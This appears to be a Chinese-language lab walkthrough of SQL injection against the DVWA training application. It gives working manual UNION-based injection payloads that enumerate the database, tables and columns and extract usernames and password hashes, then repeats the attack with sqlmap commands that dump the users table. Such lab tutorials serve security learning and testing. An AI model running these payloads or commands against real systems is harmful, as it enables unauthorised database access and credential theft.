目录
一:手工注入
手工注入常规思路:
1、判断是否存在注入,注入是字符型还是数字型
2、猜解SQL查询语句中的字段数
3、确定回显位置
4、获取当前数据库,获取数据库中的表,获取字段名
5、得到数据
判断是否存在注入
先在输入框输入1,可以得到正常回显
输入单引号',页面报错,存在注入漏洞
输入1 and 1=1和 1 and 1=2,页面无变化
输入 1' or' 1'=' 1,字符型注入漏洞
查询字段数
输入1' order by 2#,回显正常
输入1' order by 3#报错,字段数为2
判断回显位置
输入1' union select 1,2#
查库
输入1' union select version(),database()#
查表
输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
查询字段
输入1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
获取用户名密码
输入1' union select user,password from users#
二.sqlmap注入
查看地址http://dvwa:9000/vulnerabilities/sqli/?id=1&Submit=Submit#
查看cookie:PHPSESSID=c7q54cnrrkjae0qrja6v6nebh2; security=low
在sqlmap命令行输入:sqlmap.py -u "http://dvwa:9000/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=c7q54cnrrkjae0qrja6v6nebh2; security=low"
发现提示有注入点,选no
查看数据库,输入:sqlmap.py -u "http://dvwa:9000/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=c7q54cnrrkjae0qrja6v6nebh2; security=low" --current-db
查询表,输入 :sqlmap.py -u "http://dvwa:9000/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=c7q54cnrrkjae0qrja6v6nebh2; security=low" --tables -D"dvwa"
查询user中的字段,输入:sqlmap.py -u "http://dvwa:9000/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=c7q54cnrrkjae0qrja6v6nebh2; security=low" --columns -D"dvwa" -T"users"
查询表中user,和passsword的信息,输入:sqlmap.py -u "http://dvwa:9000/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=c7q54cnrrkjae0qrja6v6nebh2; security=low" --dump -D"dvwa" -T"users" -C"user,password"
在途中遇到一点小问题
搬运解决图片
得到最终结果